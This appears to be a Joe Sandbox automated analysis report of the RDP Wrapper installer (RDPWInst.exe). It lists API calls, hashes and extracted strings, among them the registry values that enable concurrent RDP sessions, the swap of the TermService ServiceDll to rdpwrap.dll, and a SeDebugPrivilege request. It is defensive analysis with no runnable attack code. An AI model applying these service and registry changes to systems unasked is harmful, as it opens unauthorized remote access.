Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LibraryLoadResource$FindFree
String ID:
API String ID: 3272429154-0
Opcode ID: 15bd354d354d96cc7854a01dd3595191e335ff94095102c971dcd749e24b3d64
Instruction ID: b141022db8bc2a2b6abfb651a233e3798db1869765cd13709d0418182ea328c4
Opcode Fuzzy Hash: 15bd354d354d96cc7854a01dd3595191e335ff94095102c971dcd749e24b3d64
Instruction Fuzzy Hash: 9411E3273067445AC721DA268A81EDF3B169FC1340F09C1A6F9009F396E679C901C39A

Function 004093C0 Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNEL32(00000003,?,?,00000000,?,00409584,?,?,?,00000000,00000105,00000000,004095BB,?,00437408), ref: 004093DC
GetLocaleInfoW.KERNEL32(?,00000003,?,?,00000000,?,00409584,?,?,?,00000000,00000105,00000000,004095BB,?,00437408), ref: 004093E5

Part of subcall function 004092D8: FindFirstFileW.KERNEL32(?,?,00000000), ref: 004092F2
Part of subcall function 004092D8: FindClose.KERNEL32(00000000,?,?,00000000), ref: 00409302

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Find$CloseDefaultFileFirstInfoLanguageLocaleUser
String ID:
API String ID: 3216391948-0
Opcode ID: a26faab687ad10f6bf339373f2b132671eb58a1d7de5f88059ad0fc6f14c2cf4
Instruction ID: 6b7a5b6d94b1cbf22f3d71e7f3d695f59a60f48835f9eba26b4dd19c2a33d547
Opcode Fuzzy Hash: a26faab687ad10f6bf339373f2b132671eb58a1d7de5f88059ad0fc6f14c2cf4
Instruction Fuzzy Hash: 58F05E752412086FDB00DE9DD888DA677DCBF18368F4044AAF94CDF382C679EC408B64

Function 004092D8 Relevance: 3.0, APIs: 2, Instructions: 21fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,00000000), ref: 004092F2
FindClose.KERNEL32(00000000,?,?,00000000), ref: 00409302

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 6b2b30213d2c3205255c74374c6d0cedf81d32bff8ef7784ed5e0124d95693a3
Instruction ID: eb757cbb51915ae52a623e93d498bac1ae70d661531f8aa58739ae681ecdb70c
Opcode Fuzzy Hash: 6b2b30213d2c3205255c74374c6d0cedf81d32bff8ef7784ed5e0124d95693a3
Instruction Fuzzy Hash: B8D02B7250010823CA2099BC8CC9E9F734C5B05234F0803677DA8E33D1FA35D9100198

Function 00409D02 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 00409D08

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: dcf78b23b46585e2dba9b3fc2d517005d4dfc9a18e6822ae8d97214c6ea3767e
Instruction ID: dea72ce09e15e74ad366377f5463cd755b9610de14ca7f4492471b38ec8a052a
Opcode Fuzzy Hash: dcf78b23b46585e2dba9b3fc2d517005d4dfc9a18e6822ae8d97214c6ea3767e
Instruction Fuzzy Hash: 12B012106085015BC908E73D4D4744B31C01A40524FC40234745CE62C2F65DCAA546DF

Function 0044373C Relevance: 81.5, APIs: 8, Strings: 46, Instructions: 524
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

%ProgramFiles%\RDP Wrapper\rdpwrap.dll, xrefs: 00443B2B
TermService, xrefs: 00443C52, 00443DDD, 00443F77
[+] Successfully uninstalled., xrefs: 00443E57
do not use the software., xrefs: 00443ACF
[*] Configuring firewall..., xrefs: 00443C85, 00443E2C
-u -k uninstall wrapper and keep settings, xrefs: 0044393B
[*] Configuring registry..., xrefs: 00443C68, 00443E0F
Installer v2.5, xrefs: 0044378D
[*] Configuring service library..., xrefs: 00443BAD
LpD, xrefs: 0044374F
only >= 6.0 (Vista, Server 2008 and newer) are supported., xrefs: 004439D4
[*] Terminating service..., xrefs: 00443BE3, 00443D53, 00443F08
license, xrefs: 00443989
[-] Unsupported Windows version:, xrefs: 004439BE
-i install wrapper to Program Files folder (default), xrefs: 004438CD
[*] Checking dependencies..., xrefs: 00443BC8
[*] RDP Wrapper Library is already installed., xrefs: 00443A41
$sD, xrefs: 00443761
[*] Notice to user:, xrefs: 00443A61
-i -o online install mode (loads latest INI file), xrefs: 004438F9
RDPWInst.exe [-l|-i[-s][-o]|-w|-u[-k]|-r], xrefs: 0044388E
-l display the license agreement, xrefs: 004438B7
[*] Extracting files..., xrefs: 00443B4F
[+] Done., xrefs: 00443F83
USAGE:, xrefs: 00443878
-u uninstall wrapper, xrefs: 00443925
[-] Unsupported processor architecture., xrefs: 004439F8
SeDebugPrivilege, xrefs: 00443BF7, 00443D67, 00443F1C
[*] Uninstalling..., xrefs: 00443D0F
[+] Successfully installed., xrefs: 00443CA2
%SystemRoot%\system32\rdpwrap.dll, xrefs: 00443B1A
[*] RDP Wrapper Library is not installed., xrefs: 00443CEF, 00443E92
[*] Checking for updates..., xrefs: 00443EB2
Copyright (C) Stas'M Corp. 2017, xrefs: 004437A3
RDP Wrapper Library v1.6.2, xrefs: 00443777
[*] Restarting..., xrefs: 00443EED
-w get latest update for INI file, xrefs: 0044390F
- By using all or any portion of this software, you are agreeing, xrefs: 00443A77
to be bound by all the terms and conditions of the license agreement., xrefs: 00443A8D
- If you do not agree to any terms of the license agreement,, xrefs: 00443AB9
[*] Removing files..., xrefs: 00443D87
- To read the license agreement, run the installer with -l parameter., xrefs: 00443AA3
-r force restart Terminal Services, xrefs: 00443951
[*] Resetting service library..., xrefs: 00443D38
[*] Installing..., xrefs: 00443AE5
-i -s install wrapper to System32 folder, xrefs: 004438E3

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID:
String ID: - By using all or any portion of this software, you are agreeing$ - If you do not agree to any terms of the license agreement,$ - To read the license agreement, run the installer with -l parameter.$ do not use the software.$ only >= 6.0 (Vista, Server 2008 and newer) are supported.$ to be bound by all the terms and conditions of the license agreement.$$sD$%ProgramFiles%\RDP Wrapper\rdpwrap.dll$%SystemRoot%\system32\rdpwrap.dll$-i install wrapper to Program Files folder (default)$-i -o online install mode (loads latest INI file)$-i -s install wrapper to System32 folder$-l display the license agreement$-r force restart Terminal Services$-u uninstall wrapper$-u -k uninstall wrapper and keep settings$-w get latest update for INI file$Copyright (C) Stas'M Corp. 2017$Installer v2.5$LpD$RDP Wrapper Library v1.6.2$RDPWInst.exe [-l|-i[-s][-o]|-w|-u[-k]|-r]$SeDebugPrivilege$TermService$USAGE:$[*] Checking dependencies...$[*] Checking for updates...$[*] Configuring firewall...$[*] Configuring registry...$[*] Configuring service library...$[*] Extracting files...$[*] Installing...$[*] Notice to user:$[*] RDP Wrapper Library is already installed.$[*] RDP Wrapper Library is not installed.$[*] Removing files...$[*] Resetting service library...$[*] Restarting...$[*] Terminating service...$[*] Uninstalling...$[+] Done.$[+] Successfully installed.$[+] Successfully uninstalled.$[-] Unsupported Windows version:$[-] Unsupported processor architecture.$license
API String ID: 0-551293883
Opcode ID: 7cbbb260217d7fc7a01644a9b38dd862e028c17ba3129eca6f49844f2851695a
Instruction ID: 3b3904e08207714e519852b142ec2c0d1fdd34891fa1322cb905310c24a2fa21
Opcode Fuzzy Hash: 7cbbb260217d7fc7a01644a9b38dd862e028c17ba3129eca6f49844f2851695a
Instruction Fuzzy Hash: D60208A4B091404BEB00BBFB894324EA5519FC574CF92817FB604B72D7CA3CA8156A7F

Function 0043E864 Relevance: 34.8, APIs: 7, Strings: 16, Instructions: 305
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,00447324), ref: 0043E8BE
GetLastError.KERNEL32(?,?,00447324), ref: 0043E978
GetLastError.KERNEL32(?,?,00447324), ref: 0043EA23

Strings

$sD, xrefs: 0043E8CB, 0043E985, 0043EA30, 0043EAF0, 0043EB47, 0043EC07, 0043ECC7
Name, xrefs: 0043EB89, 0043EC49
\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Clip Redirector, xrefs: 0043EB29
RDPDND, xrefs: 0043EC44
AllowMultipleTSSessions, xrefs: 0043EA6F
\SYSTEM\CurrentControlSet\Control\Terminal Server, xrefs: 0043E8AD
RDPClip, xrefs: 0043EB84
\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VC, xrefs: 0043ECA9
fDenyTSConnections, xrefs: 0043E90F
\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\DND Redirector, xrefs: 0043EBE9
Type, xrefs: 0043EB9B, 0043EC5B, 0043ED07
[-] OpenKey error (code , xrefs: 0043E8D0, 0043E98A, 0043EA35, 0043EAF5, 0043EB4C, 0043EC0C, 0043ECCC
\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, xrefs: 0043EA12
EnableConcurrentSessions, xrefs: 0043E9C4
\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core, xrefs: 0043E967
\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns, xrefs: 0043EABB, 0043EAD2

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: $sD$AllowMultipleTSSessions$EnableConcurrentSessions$Name$RDPClip$RDPDND$Type$[-] OpenKey error (code $\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon$\SYSTEM\CurrentControlSet\Control\Terminal Server$\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns$\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Clip Redirector$\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\DND Redirector$\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VC$\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core$fDenyTSConnections
API String ID: 1452528299-1114397459
Opcode ID: 22b9b6838edb48365cdfb4778b466381cbf59e10845c44ab03fa5598231b4397
Instruction ID: d5bff1feb4e6776106dd90f858afd21f9f4463beb35b4115f94bb768dd44f540
Opcode Fuzzy Hash: 22b9b6838edb48365cdfb4778b466381cbf59e10845c44ab03fa5598231b4397
Instruction Fuzzy Hash: 97A16E70B052005BEB10BBBB984256E76A5DB8D308F51A47FF400A76D2CB3DAC05972E

Function 00408F6C Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 156
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,00409151,?,00000000), ref: 00408FA5
lstrcpynW.KERNEL32(?,00000000,00000105,00000000,00409151,?,00000000), ref: 00408FC1
RegOpenKeyExW.ADVAPI32(80000001,Software\CodeGear\Locales,00000000,000F0019,?,?,00000000,00000105,00000000,00409151,?,00000000), ref: 00408FEE
RegOpenKeyExW.ADVAPI32(80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?,00000000,00000105,00000000,00409151), ref: 0040900C
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?), ref: 0040902A
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001), ref: 00409048
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,00409134,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?,00000000), ref: 00409088
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00000000,00000000,?,00000000,00409134,?,80000001), ref: 004090B3
RegQueryValueExW.ADVAPI32(?,00409208,00000000,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,00409134,?,80000001), ref: 004090D7
RegQueryValueExW.ADVAPI32(?,00409208,00000000,00000000,?,?,?,00409208,00000000,00000000,00000000,?,?,?,00000000,00000000), ref: 00409100
RegCloseKey.ADVAPI32(?,0040913B,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,00409134,?,80000001,Software\CodeGear\Locales), ref: 0040912E

Strings

Software\CodeGear\Locales, xrefs: 00408FE4, 00409002
Software\Borland\Delphi\Locales, xrefs: 0040903E
Software\Borland\Locales, xrefs: 00409020

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: OpenQueryValue$CloseFileModuleNamelstrcpyn
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales$Software\CodeGear\Locales
API String ID: 3482678030-345420546
Opcode ID: b86ae2d81a9e05b6b7bf3f0ce843eb1dbeb4dae58668f089461cbe54660652d9
Instruction ID: 299ddb9754ebd29522f96ae12af661ce277d6f97d31c05324fadffe1222b4d16
Opcode Fuzzy Hash: b86ae2d81a9e05b6b7bf3f0ce843eb1dbeb4dae58668f089461cbe54660652d9
Instruction Fuzzy Hash: CA510071B40209BEEB10EAA5CD46FAE77BCEB48704F504477B604F61C2D6B8AE408A5D

Function 0043A7BC Relevance: 24.2, APIs: 2, Strings: 14, Instructions: 181
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00000000,0043AA55,?,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443A16,00000000,00443FB2), ref: 0043A827
GetLastError.KERNEL32(00000000,0043AA55,?,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443A16,00000000,00443FB2), ref: 0043A91D

Part of subcall function 00438860: RegFlushKey.ADVAPI32(00010000,004375FC,004388B7,004375FC,00000001,004387C6,?,00447324,0043A802,00000000,0043AA55,?,?,00447324,00000000,00000000), ref: 00438871
Part of subcall function 00438860: RegCloseKey.ADVAPI32(00010000,004375FC,004388B7,004375FC,00000001,004387C6,?,00447324,0043A802,00000000,0043AA55,?,?,00447324,00000000,00000000), ref: 0043887A

Strings

$sD, xrefs: 0043A834, 0043A8B8, 0043A8D1, 0043A92A, 0043A9BF, 0043A9D8
\SYSTEM\CurrentControlSet\Services\TermService, xrefs: 0043A810
ImagePath, xrefs: 0043A866
[*] ServiceDll: ", xrefs: 0043A9DD
svchost -k, xrefs: 0043A8A3
[-] TermService is hosted in a custom application (BeTwin, etc.) - unsupported., xrefs: 0043A8BD
svchost.exe, xrefs: 0043A887
rdpwrap.dll, xrefs: 0043A9AA, 0043AA27
\SYSTEM\CurrentControlSet\Services\TermService\Parameters, xrefs: 0043A906
ServiceDll, xrefs: 0043A95C
termsrv.dll, xrefs: 0043A98C
[*] ImagePath: ", xrefs: 0043A8D6
[-] OpenKeyReadOnly error (code , xrefs: 0043A839, 0043A92F
[-] Another third-party TermService library is installed., xrefs: 0043A9C4

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast$CloseFlush
String ID: $sD$ImagePath$ServiceDll$[*] ImagePath: "$[*] ServiceDll: "$[-] Another third-party TermService library is installed.$[-] OpenKeyReadOnly error (code $[-] TermService is hosted in a custom application (BeTwin, etc.) - unsupported.$\SYSTEM\CurrentControlSet\Services\TermService$\SYSTEM\CurrentControlSet\Services\TermService\Parameters$rdpwrap.dll$svchost -k$svchost.exe$termsrv.dll
API String ID: 1149308822-2563127478
Opcode ID: 3e349bb9003ee561f3f41bf2c4cd298ce689c8a6cca98ee662a00d79e13e63ec
Instruction ID: 1ac512ede3db6dba28468dccd327cdb8adfd53dd4df03d49c6afb8088628474e
Opcode Fuzzy Hash: 3e349bb9003ee561f3f41bf2c4cd298ce689c8a6cca98ee662a00d79e13e63ec
Instruction Fuzzy Hash: 01515774B442005BD700FBBA8D4255EB2659F8930CB51A43FB840BB796CB3CEC158AAF

Function 00408C28 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?,00000000,00000105,00000000,004095BB), ref: 00408C46
LeaveCriticalSection.KERNEL32(00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?,00000000,00000105,00000000), ref: 00408C6A
LeaveCriticalSection.KERNEL32(00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?,00000000,00000105,00000000), ref: 00408C79
IsValidLocale.KERNEL32(00000000,00000002,00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?,00000000), ref: 00408C8D
EnterCriticalSection.KERNEL32(00449B54,00000000,00000002,00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?), ref: 00408CEA
lstrcpynW.KERNEL32(en-GB,en,en-US,,00000000,000000AA,00449B54,00000000,00000002,00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540), ref: 00408D08
LeaveCriticalSection.KERNEL32(00449B54,en-GB,en,en-US,,00000000,000000AA,00449B54,00000000,00000002,00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000), ref: 00408D12

Strings

en-GB,en,en-US,, xrefs: 00408C56, 00408D03

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$Enter$LocaleValidlstrcpyn
String ID: en-GB,en,en-US,
API String ID: 1058953229-3021119265
Opcode ID: f5c0c5a953935993f8144897554dda3b04a66e7f6cf498fae83c5be40df86a5b
Instruction ID: 9b1ce77b3c0781b783b438d4c88a1dd796634ce3a4aca31124bb85a30b48e6d3
Opcode Fuzzy Hash: f5c0c5a953935993f8144897554dda3b04a66e7f6cf498fae83c5be40df86a5b
Instruction Fuzzy Hash: B321AE203042556AEB50B77A9E57B6A2169EF4570CF60443FB481B72D2CEBCAC04E22E

Function 0043C1C8 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(00000001,00000000,00000D10,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043C1CF
GetLastError.KERNEL32(00000001,00000000,00000D10,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043C1DA
TerminateProcess.KERNEL32(00000000,00000000,00000001,00000000,00000D10,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000), ref: 0043C219
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000D10,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C223
GetLastError.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000D10,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C228
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000D10,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C265

Strings

$sD, xrefs: 0043C1E7, 0043C235
[-] TerminateProcess error (code , xrefs: 0043C23A
[-] OpenProcess error (code , xrefs: 0043C1EC

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLastProcess$OpenTerminate
String ID: $sD$[-] OpenProcess error (code $[-] TerminateProcess error (code
API String ID: 1809907545-775158141
Opcode ID: 6f554e20b072eb6f5660c25ac1f2be49616fb729524d0b6480b7b10d1be33d93
Instruction ID: c032a40b630c9990863936c46c82d74717666648ea03c3b6a4bb658b84b7f9ba
Opcode Fuzzy Hash: 6f554e20b072eb6f5660c25ac1f2be49616fb729524d0b6480b7b10d1be33d93
Instruction Fuzzy Hash: EB01F6A5B442111AE610B3FB0D82B2F255A8F8A75CF02917FB504B62D7CA3C9C11977F

Function 0040472C Relevance: 15.1, APIs: 10, Instructions: 129
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004047B5
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004047D9
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004047F5
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000001,00000000), ref: 00404816
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 0040483F
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 0040484D
GetStdHandle.KERNEL32(000000F5), ref: 00404888
GetFileType.KERNEL32(?,000000F5), ref: 0040489E
CloseHandle.KERNEL32(?,?,000000F5), ref: 004048B9
GetLastError.KERNEL32(000000F5), ref: 004048D1

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
